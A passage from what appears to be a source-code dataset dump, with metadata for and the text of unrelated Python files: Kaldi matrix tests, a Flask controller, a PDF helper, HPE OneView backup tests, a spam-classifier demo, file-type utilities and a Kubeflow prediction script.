sys.getrefcount(m)) class TestFloatMatrix(unittest.TestCase): def test_to_numpy(self): # first, build a kaldi matrix num_rows = 6 num_cols = 8 m = kaldi.FloatMatrix(row=num_rows, col=num_cols) for r in range(num_rows): for c in range(num_cols): self.assertEqual(m[r, c], 0) m_reference_count = sys.getrefcount(m) # now to numpy; memory is shared d = m.numpy() self.assertEqual(m_reference_count + 1, sys.getrefcount(m)) d += 10 for r in range(num_rows): for c in range(num_cols): self.assertEqual(d[r, c], m[r, c]) del d self.assertEqual(m_reference_count, sys.getrefcount(m)) class TestGeneralMatrix(unittest.TestCase): def test_from_base_matrix(self): num_rows = 5 num_cols = 6 m = kaldi.FloatMatrix(row=num_rows, col=num_cols) mg = kaldi.GeneralMatrix(m) mi = kaldi.FloatMatrix() mg.GetMatrix(mi) self.assertEqual(mi.NumRows(), num_rows) self.assertEqual(mi.NumCols(), num_cols) for r in range(num_rows): for c in range(num_cols): self.assertEqual(mi[r, c], 0) if __name__ == '__main__': unittest.main()

0

2,758

0

-12

115

17e2ec4a244bb94a85b8daab658bef83ab4ca1af

1,982

py

Python

src/controllers/supporting_lists/controller.py

MaxVanHoucke/esp-uantwerp

6f2129d60954b198f233e75956a4f5c675a03cbc

[ "MIT" ]

null

src/controllers/supporting_lists/controller.py

MaxVanHoucke/esp-uantwerp

6f2129d60954b198f233e75956a4f5c675a03cbc

[ "MIT" ]

null

src/controllers/supporting_lists/controller.py

MaxVanHoucke/esp-uantwerp

6f2129d60954b198f233e75956a4f5c675a03cbc

[ "MIT" ]

null

from flask import Blueprint bp = Blueprint('manage_lists', __name__)

33.033333

89

0.701816

from flask import Blueprint, request, render_template, jsonify from flask_login import current_user from src.controllers.supporting_lists.manage_lists import manage, update_item from src.models.type import TypeDataAccess from src.models.tag import TagDataAccess from src.models.research_group import * from src.models.study_field import * from src.models.employee import * from src.models.db import get_db bp = Blueprint('manage_lists', __name__) @bp.route('/modify-lists', methods=["GET", "POST"]) def modify_lists(): """ Handles the GET & POST request to '/modify-lists'. GET: requests to render page POST: request managing sent data :return: Json with failure status / template rendering / function call to manage data """ if not current_user.is_authenticated or current_user.role == "student": return jsonify({'success': False}), 400, {'ContentType': 'application/json'} if request.method == "GET": return render_template('supporting_lists.html') else: return manage(request.json) @bp.route('/get-all-list-data', methods=['GET']) def get_all_list_data(): """ Handles the GET request to '/get-all-list-data'. :return: Json with all list data """ conn = get_db() all_types = TypeDataAccess(conn).get_types(False) all_tags = TagDataAccess(conn).get_tags() all_groups = ResearchGroupDataAccess(conn).get_research_groups(False) all_employees = EmployeeDataAccess(conn).get_employees(False) result = { "types": [obj.to_dict() for obj in all_types], "tags": all_tags, "research groups": [obj.to_dict() for obj in all_groups], "employees": [obj.to_dict() for obj in all_employees] } return jsonify(result) @bp.route("/update-profile", methods=["POST"]) def update_profile(): """ Handles the POST request to '/update-profile'. :return: function call to update_item with sent data """ return update_item(request.json)

0

1,462

0

202

245

5e309a053528b67904d5d5112db0bd96f00b89b5

1,204

py

Python

makerbean/PDFBot.py

AndersonBY/python-makerbean

c7713a019217e7f2eb42010af8f4f6c8a15fa910

[ "MIT" ]

8

2020-12-28T12:49:50.000Z

2021-04-12T13:49:19.000Z

makerbean/PDFBot.py

AndersonBY/python-makerbean

c7713a019217e7f2eb42010af8f4f6c8a15fa910

[ "MIT" ]

null

makerbean/PDFBot.py

AndersonBY/python-makerbean

c7713a019217e7f2eb42010af8f4f6c8a15fa910

[ "MIT" ]

4

2021-01-12T07:48:11.000Z

2021-04-12T13:49:21.000Z

# -*- coding: utf-8 -*- # @Author: ander # @Date: 2020-12-22 16:19:51 # @Last Modified by: ander # @Last Modified time: 2020-12-22 16:25:49

30.1

85

0.649502

# -*- coding: utf-8 -*- # @Author: ander # @Date: 2020-12-22 16:19:51 # @Last Modified by: ander # @Last Modified time: 2020-12-22 16:25:49 import pdfplumber from PyPDF2 import PdfFileReader, PdfFileWriter, PdfFileMerger import os.path from .utilities import mkdir class PDFBot(object): """docstring for ExcelBot""" def __init__(self): self.page_num = 0 def open(self, file_path): self.filename, _ = os.path.splitext(os.path.basename(file_path)) self.pdf = pdfplumber.open(file_path) self.pdf_reader = PdfFileReader(file_path) self.page_num = self.pdf_reader.getNumPages() def get_text(self, page): pdf_page = self.pdf.pages[page] return pdf_page.extract_text() def split(self, page, folder): mkdir(folder) pdf_writer = PdfFileWriter() pdf_writer.addPage(self.pdf_reader.getPage(page)) with open(os.path.join(folder, f"{self.filename}-p{page}.pdf"), "wb") as out: pdf_writer.write(out) def merge(self, pdfs, merged_name): merger = PdfFileMerger() for pdf in pdfs: merger.append(PdfFileReader(pdf)) merger.write(f"{merged_name}.pdf")

0

911

0

37

111

7d8042e0a0e082248ae3fb8d16b1773619abf452

3,510

py

Python

tests/unit/resources/settings/test_backups.py

PragadeeswaranS/oneview-python

3acc113b8dd30029beb7c228c3bc2bbe67d3485b

[ "Apache-2.0" ]

null

tests/unit/resources/settings/test_backups.py

PragadeeswaranS/oneview-python

3acc113b8dd30029beb7c228c3bc2bbe67d3485b

[ "Apache-2.0" ]

null

tests/unit/resources/settings/test_backups.py

PragadeeswaranS/oneview-python

3acc113b8dd30029beb7c228c3bc2bbe67d3485b

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- ### # (C) Copyright [2019] Hewlett Packard Enterprise Development LP # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. ###

35.454545

118

0.74188

# -*- coding: utf-8 -*- ### # (C) Copyright [2019] Hewlett Packard Enterprise Development LP # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. ### from unittest import TestCase import mock from hpOneView.connection import connection from hpOneView.resources.settings.backups import Backups from hpOneView.resources.resource import ResourceClient class BackupsTest(TestCase): def setUp(self): self.host = '127.0.0.1' self.connection = connection(self.host) self._client = Backups(self.connection) @mock.patch.object(ResourceClient, 'get_collection') def test_get_all_called_once(self, mock_get_collection): self._client.get_all() mock_get_collection.assert_called_once_with('/rest/backups') @mock.patch.object(ResourceClient, 'get') def test_get_called_once(self, mock_get): self._client.get('appliance_backup_2017-04-20_180138') mock_get.assert_called_once_with('appliance_backup_2017-04-20_180138') @mock.patch.object(ResourceClient, 'get') def test_get_with_uri_called_once(self, mock_get): uri = '/rest/backups/appliance_backup_2017-04-20_180138' self._client.get(uri) mock_get.assert_called_once_with(uri) @mock.patch.object(ResourceClient, 'create_with_zero_body') def test_create_called_once(self, mock_create): mock_create.return_value = {} self._client.create() mock_create.assert_called_once_with(timeout=-1) @mock.patch.object(ResourceClient, 'download') def test_download_called_once_by_id(self, mock_download): download_uri = '/rest/backups/archive/appliance_backup_2017-04-20_182809' destination = 'appliance_backup_2017-04-20_180138.bkp' self._client.download(download_uri, destination) mock_download.assert_called_once_with('/rest/backups/archive/appliance_backup_2017-04-20_182809', destination) @mock.patch.object(ResourceClient, 'upload') def test_upload_artifact_bundle_called_once(self, mock_upload): filepath = "appliance_backup_2017-04-20_182809.bkp" self._client.upload(filepath) mock_upload.assert_called_once_with(filepath) @mock.patch.object(ResourceClient, 'get') def test_get_config_called_once(self, mock_get): self._client.get_config() mock_get.assert_called_once_with('config') @mock.patch.object(ResourceClient, 'update') def test_update_config_called_once(self, mock_update): options = {"enabled": False} self._client.update_config(options, timeout=30) mock_update.assert_called_once_with(options, uri='/rest/backups/config', timeout=30) @mock.patch.object(ResourceClient, 'update_with_zero_body') def test_update_remote_archive_called_once(self, mock_update): save_uri = '/rest/backups/remotearchive/appliance_backup_2017-04-20_182809' self._client.update_remote_archive(save_uri, timeout=30) mock_update.update_with_zero_body(uri=save_uri, timeout=30)

0

2,244

0

399

0

89

136

4bc85f8092188613ab654a4c3765404fe3fb867c

672

py

Python

airbnb/system/region_revenue.py

mpresh/airbnb-tools

6f1884082e91ec810ea5667a1b2041ad246ebf7b

[ "MIT" ]

1

2017-07-12T16:44:02.000Z

airbnb/system/region_revenue.py

mpresh/airbnb-tools

6f1884082e91ec810ea5667a1b2041ad246ebf7b

[ "MIT" ]

null

airbnb/system/region_revenue.py

mpresh/airbnb-tools

6f1884082e91ec810ea5667a1b2041ad246ebf7b

[ "MIT" ]

null

import zipcodes if __name__ == "__main__": region_average_revenue(zipcodes.get_all_cape_cod_zip_codes)

33.6

80

0.733631

import zipcodes import listings import bnbcalendar import finance from pprint import pprint def region_average_revenue(zipcodes_func, adults=16, state="MA"): rooms = listings.get_all_listings(zipcodes_func, adults=adults, state=state) #rooms = ["4914702", "16042826"] for room in rooms: print("Getting calendar for {}".format(room)) calendar = bnbcalendar.get_calendar_for_next_year(room, adults=adults-3) total_revenue = finance.calculate_total_revenue(calendar) print("listing {} revenue {}".format(room, total_revenue)) if __name__ == "__main__": region_average_revenue(zipcodes.get_all_cape_cod_zip_codes)

0

455

0

-12

111

2b4944225389f356c9da74143b2cea6864e7e5f4

2,458

py

Python

conveniences/demo_mnbc.py

mateusnbm/ai-conveniences

4a0cd0d761f1d534149f9f0ab03f5f94e4290580

[ "MIT" ]

null

conveniences/demo_mnbc.py

mateusnbm/ai-conveniences

4a0cd0d761f1d534149f9f0ab03f5f94e4290580

[ "MIT" ]

null

conveniences/demo_mnbc.py

mateusnbm/ai-conveniences

4a0cd0d761f1d534149f9f0ab03f5f94e4290580

[ "MIT" ]

null

# # demo_spam_classifier.py # # Multinomial Naive Bays Classifier. # # Based-on: # # https://www.udemy.com/data-science-and-machine-learning-with-python-hands-on/ # http://blog.datumbox.com/machine-learning-tutorial-the-naive-bayes-text-classifier/ # from pandas import DataFrame from sklearn.feature_extraction.text import CountVectorizer from sklearn.naive_bayes import MultinomialNB ''' Convenience functions to read the emails and store their messages and classes in a pandas dataframe. ''' ''' Read the data and store it in a pandas dataframe. ''' data = DataFrame({'message': [], 'class': []}) data = data.append(dataFrameFromDirectory('../datasets/emails/ham', 'ham')) data = data.append(dataFrameFromDirectory('../datasets/emails/spam', 'spam')) ''' We pass an array of messages to vectorizer.fit_transform(), it will convert each word to a global token and count the occurences across all emails. ''' vectorizer = CountVectorizer() counts = vectorizer.fit_transform(data['message'].values) ''' Now we train a Multinomial Naive Bayes Classifier using the frequencies obtained from last step. We'll use this variant of the algorithm because our premise is that spams tend to contain certain words that can easily identify the nefarious purpose of them. ''' classifier = MultinomialNB() targets = data['class'].values classifier.fit(counts, targets) ''' Run some examples to test the classifier. ''' examples = ['Free Viagra now!!!', "Hi Bob, how about a game of golf tomorrow?", "Luke... I'm your father."] example_counts = vectorizer.transform(examples) predictions = classifier.predict(example_counts) print(predictions)

27.931818

107

0.684703

# # demo_spam_classifier.py # # Multinomial Naive Bays Classifier. # # Based-on: # # https://www.udemy.com/data-science-and-machine-learning-with-python-hands-on/ # http://blog.datumbox.com/machine-learning-tutorial-the-naive-bayes-text-classifier/ # import os import io import numpy from pandas import DataFrame from sklearn.feature_extraction.text import CountVectorizer from sklearn.naive_bayes import MultinomialNB ''' Convenience functions to read the emails and store their messages and classes in a pandas dataframe. ''' def readFiles(path): for root, dirnames, filenames in os.walk(path): for filename in filenames: path = os.path.join(root, filename) inBody = False lines = [] f = io.open(path, 'r', encoding='latin1') for line in f: if inBody: lines.append(line) elif line == '\n': inBody = True f.close() message = '\n'.join(lines) yield path, message def dataFrameFromDirectory(path, classification): rows = [] index = [] for filename, message in readFiles(path): rows.append({'message': message, 'class': classification}) index.append(filename) return DataFrame(rows, index=index) ''' Read the data and store it in a pandas dataframe. ''' data = DataFrame({'message': [], 'class': []}) data = data.append(dataFrameFromDirectory('../datasets/emails/ham', 'ham')) data = data.append(dataFrameFromDirectory('../datasets/emails/spam', 'spam')) ''' We pass an array of messages to vectorizer.fit_transform(), it will convert each word to a global token and count the occurences across all emails. ''' vectorizer = CountVectorizer() counts = vectorizer.fit_transform(data['message'].values) ''' Now we train a Multinomial Naive Bayes Classifier using the frequencies obtained from last step. We'll use this variant of the algorithm because our premise is that spams tend to contain certain words that can easily identify the nefarious purpose of them. ''' classifier = MultinomialNB() targets = data['class'].values classifier.fit(counts, targets) ''' Run some examples to test the classifier. ''' examples = ['Free Viagra now!!!', "Hi Bob, how about a game of golf tomorrow?", "Luke... I'm your father."] example_counts = vectorizer.transform(examples) predictions = classifier.predict(example_counts) print(predictions)

0

494

241

0

-33

113

e5ab48881e462aa904536ebf91d486c500e7719a

115

py

Python

testing_focus_session/01_unit_tests/03_pytest/02_fixtures/05_request_fixture/test_module.py

netanelrevah/testing-focus-session

ce1ef76afa444ee50a1d20f0855ae5073ee2c2d9

[ "MIT" ]

1

2020-06-26T12:40:38.000Z

testing_focus_session/01_unit_tests/03_pytest/02_fixtures/05_request_fixture/test_module.py

netanelrevah/testing-focus-session

ce1ef76afa444ee50a1d20f0855ae5073ee2c2d9

[ "MIT" ]

null

testing_focus_session/01_unit_tests/03_pytest/02_fixtures/05_request_fixture/test_module.py

netanelrevah/testing-focus-session

ce1ef76afa444ee50a1d20f0855ae5073ee2c2d9

[ "MIT" ]

1

2021-10-05T10:29:19.000Z

ports = [80, 433, 8080, 8000]

16.428571

34

0.652174

ports = [80, 433, 8080, 8000] def test_connections(connections): for c in connections: print(c.port)

0

61

0

23

3f2201b86a9fcb9ecd7c3f12b0c04d9a9eeca535

6,660

py

Python

src/commoncode/filetype.py

Pratikrocks/commoncode

02fb544869708607997bbf3440e1b402c68a3164

[ "Apache-2.0" ]

2

2020-09-28T10:12:28.000Z

2021-01-15T11:16:44.000Z

src/commoncode/filetype.py

Pratikrocks/commoncode

02fb544869708607997bbf3440e1b402c68a3164

[ "Apache-2.0" ]

28

2020-11-13T01:39:37.000Z

2022-03-28T20:14:50.000Z

src/commoncode/filetype.py

Pratikrocks/commoncode

02fb544869708607997bbf3440e1b402c68a3164

[ "Apache-2.0" ]

6

2020-11-18T00:16:18.000Z

2021-09-01T09:01:11.000Z

# # Copyright (c) nexB Inc. and others. All rights reserved. # SPDX-License-Identifier: Apache-2.0 # See http://www.apache.org/licenses/LICENSE-2.0 for the license text. # See https://github.com/nexB/commoncode for support or download. # See https://aboutcode.org for more information about nexB OSS projects. # import os from datetime import datetime from commoncode.system import on_posix """ Low level file type utilities, essentially a wrapper around os.path and stat. """ def is_link(location): """ Return True if `location` is a symbolic link. """ return location and os.path.islink(location) def is_file(location, follow_symlinks=False): """ Return True if `location` is a file. """ _is_file = location and os.path.isfile(location) if follow_symlinks: return _is_file return _is_file and not is_link(location) and not is_broken_link(location) def is_dir(location, follow_symlinks=False): """ Return True if `location` is a directory. """ _is_dir = location and os.path.isdir(location) and not is_file(location) if follow_symlinks: return _is_dir return _is_dir and not is_link(location) and not is_broken_link(location) def is_regular(location): """ Return True if `location` is regular. A regular location is a file or a dir and not a special file or symlink. """ return location and (is_file(location) or is_dir(location)) def is_special(location): """ Return True if `location` is a special file . A special file is not a regular file, i.e. anything such as a broken link, block file, fifo, socket, character device or else. """ return not is_regular(location) def is_broken_link(location): """ Return True if `location` is a broken link. """ # always false on windows, until Python supports junctions/links if on_posix and is_link(location): target = get_link_target(location) target_loc = os.path.join(os.path.dirname(location), target) return target and not os.path.exists(target_loc) def get_link_target(location): """ Return the link target for `location` if this is a Link or an empty string. """ target = '' # always false on windows, until Python supports junctions/links if on_posix and is_link(location): try: # return false on OSes not supporting links target = os.readlink(location) except UnicodeEncodeError: # location is unicode but readlink can fail in some cases pass return target # Map of type checker function -> short type code # The order of types check matters: link -> file -> directory -> special TYPES = dict([ (is_link, ('l', 'link',)), (is_file, ('f', 'file',)), (is_dir, ('d', 'directory',)), (is_special, ('s', 'special',)) ]) def get_type(location, short=True): """ Return the type of the `location` or None if it does not exist. Return the short form (single character) or long form if short=False """ if location: for type_checker in TYPES: tc = type_checker(location) if tc: short_form, long_form = TYPES[type_checker] return short and short_form or long_form def is_readable(location): """ Return True if the file at location has readable permission set. Does not follow links. """ if location: if is_dir(location): return os.access(location, os.R_OK | os.X_OK) else: return os.access(location, os.R_OK) def is_writable(location): """ Return True if the file at location has writeable permission set. Does not follow links. """ if location: if is_dir(location): return os.access(location, os.R_OK | os.W_OK | os.X_OK) else: return os.access(location, os.R_OK | os.W_OK) def is_executable(location): """ Return True if the file at location has executable permission set. Does not follow links. """ if location: if is_dir(location): return os.access(location, os.R_OK | os.W_OK | os.X_OK) else: return os.access(location, os.X_OK) def is_rwx(location): """ Return True if the file at location has read, write and executable permission set. Does not follow links. """ return is_readable(location) and is_writable(location) and is_executable(location) def get_last_modified_date(location): """ Return the last modified date stamp of a file as YYYYMMDD format. The date of non-files (dir, links, special) is always an empty string. """ yyyymmdd = '' if is_file(location): utc_date = datetime.isoformat( datetime.utcfromtimestamp(os.path.getmtime(location)) ) yyyymmdd = utc_date[:10] return yyyymmdd counting_functions = { 'file_count': lambda _: 1, 'file_size': os.path.getsize, } def get_file_count(location): """ Return the cumulative number of files in the directory tree at `location` or 1 if `location` is a file. Only regular files are counted. Everything else has a zero size. """ return counter(location, 'file_count') def get_size(location): """ Return the size in bytes of a file at `location` or if `location` is a directory, the cumulative size of all files in this directory tree. Only regular files have a size. Everything else has a zero size. """ return counter(location, 'file_size')

29.469027

86

0.666066

# # Copyright (c) nexB Inc. and others. All rights reserved. # SPDX-License-Identifier: Apache-2.0 # See http://www.apache.org/licenses/LICENSE-2.0 for the license text. # See https://github.com/nexB/commoncode for support or download. # See https://aboutcode.org for more information about nexB OSS projects. # import os from datetime import datetime from commoncode.system import on_posix from commoncode.functional import memoize """ Low level file type utilities, essentially a wrapper around os.path and stat. """ def is_link(location): """ Return True if `location` is a symbolic link. """ return location and os.path.islink(location) def is_file(location, follow_symlinks=False): """ Return True if `location` is a file. """ _is_file = location and os.path.isfile(location) if follow_symlinks: return _is_file return _is_file and not is_link(location) and not is_broken_link(location) def is_dir(location, follow_symlinks=False): """ Return True if `location` is a directory. """ _is_dir = location and os.path.isdir(location) and not is_file(location) if follow_symlinks: return _is_dir return _is_dir and not is_link(location) and not is_broken_link(location) def is_regular(location): """ Return True if `location` is regular. A regular location is a file or a dir and not a special file or symlink. """ return location and (is_file(location) or is_dir(location)) def is_special(location): """ Return True if `location` is a special file . A special file is not a regular file, i.e. anything such as a broken link, block file, fifo, socket, character device or else. """ return not is_regular(location) def is_broken_link(location): """ Return True if `location` is a broken link. """ # always false on windows, until Python supports junctions/links if on_posix and is_link(location): target = get_link_target(location) target_loc = os.path.join(os.path.dirname(location), target) return target and not os.path.exists(target_loc) def get_link_target(location): """ Return the link target for `location` if this is a Link or an empty string. """ target = '' # always false on windows, until Python supports junctions/links if on_posix and is_link(location): try: # return false on OSes not supporting links target = os.readlink(location) except UnicodeEncodeError: # location is unicode but readlink can fail in some cases pass return target # Map of type checker function -> short type code # The order of types check matters: link -> file -> directory -> special TYPES = dict([ (is_link, ('l', 'link',)), (is_file, ('f', 'file',)), (is_dir, ('d', 'directory',)), (is_special, ('s', 'special',)) ]) def get_type(location, short=True): """ Return the type of the `location` or None if it does not exist. Return the short form (single character) or long form if short=False """ if location: for type_checker in TYPES: tc = type_checker(location) if tc: short_form, long_form = TYPES[type_checker] return short and short_form or long_form def is_readable(location): """ Return True if the file at location has readable permission set. Does not follow links. """ if location: if is_dir(location): return os.access(location, os.R_OK | os.X_OK) else: return os.access(location, os.R_OK) def is_writable(location): """ Return True if the file at location has writeable permission set. Does not follow links. """ if location: if is_dir(location): return os.access(location, os.R_OK | os.W_OK | os.X_OK) else: return os.access(location, os.R_OK | os.W_OK) def is_executable(location): """ Return True if the file at location has executable permission set. Does not follow links. """ if location: if is_dir(location): return os.access(location, os.R_OK | os.W_OK | os.X_OK) else: return os.access(location, os.X_OK) def is_rwx(location): """ Return True if the file at location has read, write and executable permission set. Does not follow links. """ return is_readable(location) and is_writable(location) and is_executable(location) def get_last_modified_date(location): """ Return the last modified date stamp of a file as YYYYMMDD format. The date of non-files (dir, links, special) is always an empty string. """ yyyymmdd = '' if is_file(location): utc_date = datetime.isoformat( datetime.utcfromtimestamp(os.path.getmtime(location)) ) yyyymmdd = utc_date[:10] return yyyymmdd counting_functions = { 'file_count': lambda _: 1, 'file_size': os.path.getsize, } @memoize def counter(location, counting_function): """ Return a count for a single file or a cumulative count for a directory tree at `location`. Get a callable from the counting_functions registry using the `counting_function` string. Call this callable with a `location` argument to determine the count value for a single file. This allow memoization with hashable arguments. Only regular files and directories have a count. The count for a directory is the recursive count sum of the directory file and directory descendants. Any other file type such as a special file or link has a zero size. Does not follow links. """ if not (is_file(location) or is_dir(location)): return 0 count = 0 if is_file(location): count_fun = counting_functions[counting_function] return count_fun(location) elif is_dir(location): count += sum(counter(os.path.join(location, p), counting_function) for p in os.listdir(location)) return count def get_file_count(location): """ Return the cumulative number of files in the directory tree at `location` or 1 if `location` is a file. Only regular files are counted. Everything else has a zero size. """ return counter(location, 'file_count') def get_size(location): """ Return the size in bytes of a file at `location` or if `location` is a directory, the cumulative size of all files in this directory tree. Only regular files have a size. Everything else has a zero size. """ return counter(location, 'file_size')

0

1,031

0

20

45

05aeadad29492f4792dc64b4e5f1e4699b3a1866

1,522

py

Python

object_detection/serving_script/predict.py

qq2016/kubeflow_learning

930706686108f997aab42ccf2fe455dcf09a4afc

[ "Apache-2.0" ]

1,165

2018-03-01T01:47:14.000Z

2022-03-31T08:35:00.000Z

object_detection/serving_script/predict.py

arki1/examples

c93b792d67c8c52bc91d4ccf5fbaead4e2324331

[ "Apache-2.0" ]

929

2018-02-04T18:20:16.000Z

2022-03-31T18:20:43.000Z

object_detection/serving_script/predict.py

arki1/examples

c93b792d67c8c52bc91d4ccf5fbaead4e2324331

[ "Apache-2.0" ]

687

2018-02-01T21:35:30.000Z

2022-03-29T07:47:47.000Z

""" Script to send prediction request. Usage: python predict.py --url=YOUR_KF_HOST/models/coco --input_image=YOUR_LOCAL_IMAGE --output_image=OUTPUT_IMAGE_NAME. This will save the prediction result as OUTPUT_IMAGE_NAME. The output image is the input image with the detected bounding boxes. """ WIDTH = 1024 HEIGHT = 768 if __name__ == '__main__': main()

27.178571

81

0.729304

""" Script to send prediction request. Usage: python predict.py --url=YOUR_KF_HOST/models/coco --input_image=YOUR_LOCAL_IMAGE --output_image=OUTPUT_IMAGE_NAME. This will save the prediction result as OUTPUT_IMAGE_NAME. The output image is the input image with the detected bounding boxes. """ import argparse import json import requests import numpy as np from PIL import Image import visualization_utils as vis_util WIDTH = 1024 HEIGHT = 768 def main(): parser = argparse.ArgumentParser() parser.add_argument("--url", help='The url to send the request') parser.add_argument("--input_image", default='image1.jpg') parser.add_argument("--output_image", default='output.jpg') args = parser.parse_args() img = Image.open(args.input_image) img = img.resize((WIDTH, HEIGHT), Image.ANTIALIAS) img_np = np.array(img) res = requests.post( args.url, data=json.dumps({"instances": [{"inputs": img_np.tolist()}]})) if res.status_code != 200: print('Failed: {}'.format(res.text)) return output_dict = json.loads(res.text).get('predictions')[0] vis_util.visualize_boxes_and_labels_on_image_array( img_np, np.array(output_dict['detection_boxes']), map(int, output_dict['detection_classes']), output_dict['detection_scores'], {}, instance_masks=output_dict.get('detection_masks'), use_normalized_coordinates=True, line_thickness=8) output_image = Image.fromarray(img_np) output_image.save(args.output_image) if __name__ == '__main__': main()

0

1,009

0

-8

156

835a69e7ee6ae96c62b6be6b24e176d61f9beb24

151

py

Python

src/polls/tests/functional_tests.py

ikos289/docker-django

6fa50df751e357b82b686d15b16891210e506430

[ "MIT" ]

null

src/polls/tests/functional_tests.py

ikos289/docker-django

6fa50df751e357b82b686d15b16891210e506430

[ "MIT" ]

null

src/polls/tests/functional_tests.py

ikos289/docker-django

6fa50df751e357b82b686d15b16891210e506430

[ "MIT" ]

null

from selenium import webdriver browser = webdriver.Firefox() browser.get('http://0.0.0.0:8000') print(browser.title) assert 'Django' in browser.title

21.571429

34

0.761589

from selenium import webdriver browser = webdriver.Firefox() browser.get('http://0.0.0.0:8000') print(browser.title) assert 'Django' in browser.title

0

a72428b374da27389d79bf99ef277a86b1fa5dd6

509

py

Python

src/olympia/stats/migrations/0005_create_switch_bigquery_download_stats_cron_tasks.py

shashwatsingh/addons-server

8fce98901104349055a828b5a47865f5e8f4120b

[ "BSD-3-Clause" ]

843

2016-02-09T13:00:37.000Z

2022-03-20T19:17:06.000Z

src/olympia/stats/migrations/0005_create_switch_bigquery_download_stats_cron_tasks.py

shashwatsingh/addons-server

8fce98901104349055a828b5a47865f5e8f4120b

[ "BSD-3-Clause" ]

10,187

2016-02-05T23:51:05.000Z

2022-03-31T15:24:44.000Z

src/olympia/stats/migrations/0005_create_switch_bigquery_download_stats_cron_tasks.py

shashwatsingh/addons-server

8fce98901104349055a828b5a47865f5e8f4120b

[ "BSD-3-Clause" ]

551

2016-02-08T20:32:16.000Z

2022-03-15T16:49:24.000Z

# Generated by Django 2.2.13 on 2020-07-23 16:13

25.45

61

0.707269

# Generated by Django 2.2.13 on 2020-07-23 16:13 from django.db import migrations def create_waffle_switch(apps, schema_editor): Switch = apps.get_model('waffle', 'Switch') Switch.objects.create( name='use-bigquery-for-download-stats-cron', active=False, note='Use BigQuery in download stats cron tasks', ) class Migration(migrations.Migration): dependencies = [('stats', '0004_delete_updatecount')] operations = [migrations.RunPython(create_waffle_switch)]

0

139

0

239

0

11

69

800e3537aea3f08140b4b85867fd724bf0b52669

1,055

py

Python

mmaction/models/losses/__init__.py

ovshake/mmaction2

71e92e9d4c28190d485ba153aae5200bf71f70b1

[ "Apache-2.0" ]

null

mmaction/models/losses/__init__.py

ovshake/mmaction2

71e92e9d4c28190d485ba153aae5200bf71f70b1

[ "Apache-2.0" ]

null

mmaction/models/losses/__init__.py

ovshake/mmaction2

71e92e9d4c28190d485ba153aae5200bf71f70b1

[ "Apache-2.0" ]

null

# Copyright (c) OpenMMLab. All rights reserved. from .base import BaseWeightedLoss from .binary_logistic_regression_loss import BinaryLogisticRegressionLoss from .bmn_loss import BMNLoss from .cross_entropy_loss import BCELossWithLogits, CrossEntropyLoss from .hvu_loss import HVULoss from .nll_loss import NLLLoss from .ohem_hinge_loss import OHEMHingeLoss from .ssn_loss import SSNLoss from .slowfast_selfsupervised_loss import SlowFastSelfSupervisedLoss, ContrastiveLoss, SingleInstanceContrastiveLoss, SingleInstanceContrastiveLossv2 from .multiple_contrastive_loss import MultipleContrastiveLoss, MultipleContrastiveSingleInstanceLoss from .moco_loss import MocoLoss __all__ = [ 'BaseWeightedLoss', 'CrossEntropyLoss', 'NLLLoss', 'BCELossWithLogits', 'BinaryLogisticRegressionLoss', 'BMNLoss', 'OHEMHingeLoss', 'SSNLoss', 'HVULoss', 'SlowFastSelfSupervisedLoss', 'MultipleContrastiveLoss', 'ContrastiveLoss', 'MocoLoss', 'SingleInstanceContrastiveLoss', 'MultipleContrastiveSingleInstanceLoss', 'SingleInstanceContrastiveLossv2' ]

50.238095

149

0.842654

# Copyright (c) OpenMMLab. All rights reserved. from .base import BaseWeightedLoss from .binary_logistic_regression_loss import BinaryLogisticRegressionLoss from .bmn_loss import BMNLoss from .cross_entropy_loss import BCELossWithLogits, CrossEntropyLoss from .hvu_loss import HVULoss from .nll_loss import NLLLoss from .ohem_hinge_loss import OHEMHingeLoss from .ssn_loss import SSNLoss from .slowfast_selfsupervised_loss import SlowFastSelfSupervisedLoss, ContrastiveLoss, SingleInstanceContrastiveLoss, SingleInstanceContrastiveLossv2 from .multiple_contrastive_loss import MultipleContrastiveLoss, MultipleContrastiveSingleInstanceLoss from .moco_loss import MocoLoss __all__ = [ 'BaseWeightedLoss', 'CrossEntropyLoss', 'NLLLoss', 'BCELossWithLogits', 'BinaryLogisticRegressionLoss', 'BMNLoss', 'OHEMHingeLoss', 'SSNLoss', 'HVULoss', 'SlowFastSelfSupervisedLoss', 'MultipleContrastiveLoss', 'ContrastiveLoss', 'MocoLoss', 'SingleInstanceContrastiveLoss', 'MultipleContrastiveSingleInstanceLoss', 'SingleInstanceContrastiveLossv2' ]

0

77e0586d04fc6b5bd498ff7eda396fdc0f889dc1

96

py

Python

venv/lib/python3.8/site-packages/poetry/utils/password_manager.py

Retraces/UkraineBot

3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71

[ "MIT" ]

2

2022-03-13T01:58:52.000Z

2022-03-31T06:07:54.000Z

venv/lib/python3.8/site-packages/poetry/utils/password_manager.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

19

2021-11-20T04:09:18.000Z

2022-03-23T15:05:55.000Z

venv/lib/python3.8/site-packages/poetry/utils/password_manager.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

null

/home/runner/.cache/pip/pool/3a/e8/d9/6b866f26f3d0047a518cb59b619be509f29a97d30cbaa9657343abd771

96

0.895833

/home/runner/.cache/pip/pool/3a/e8/d9/6b866f26f3d0047a518cb59b619be509f29a97d30cbaa9657343abd771

0

b7060bcb1857418d2ea9deaaa1621e5bdb64a900

25,094

py

Python

Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/openedx/core/djangoapps/user_api/accounts/serializers.py

osoco/better-ways-of-thinking-about-software

83e70d23c873509e22362a09a10d3510e10f6992

[ "MIT" ]

3

2021-12-15T04:58:18.000Z
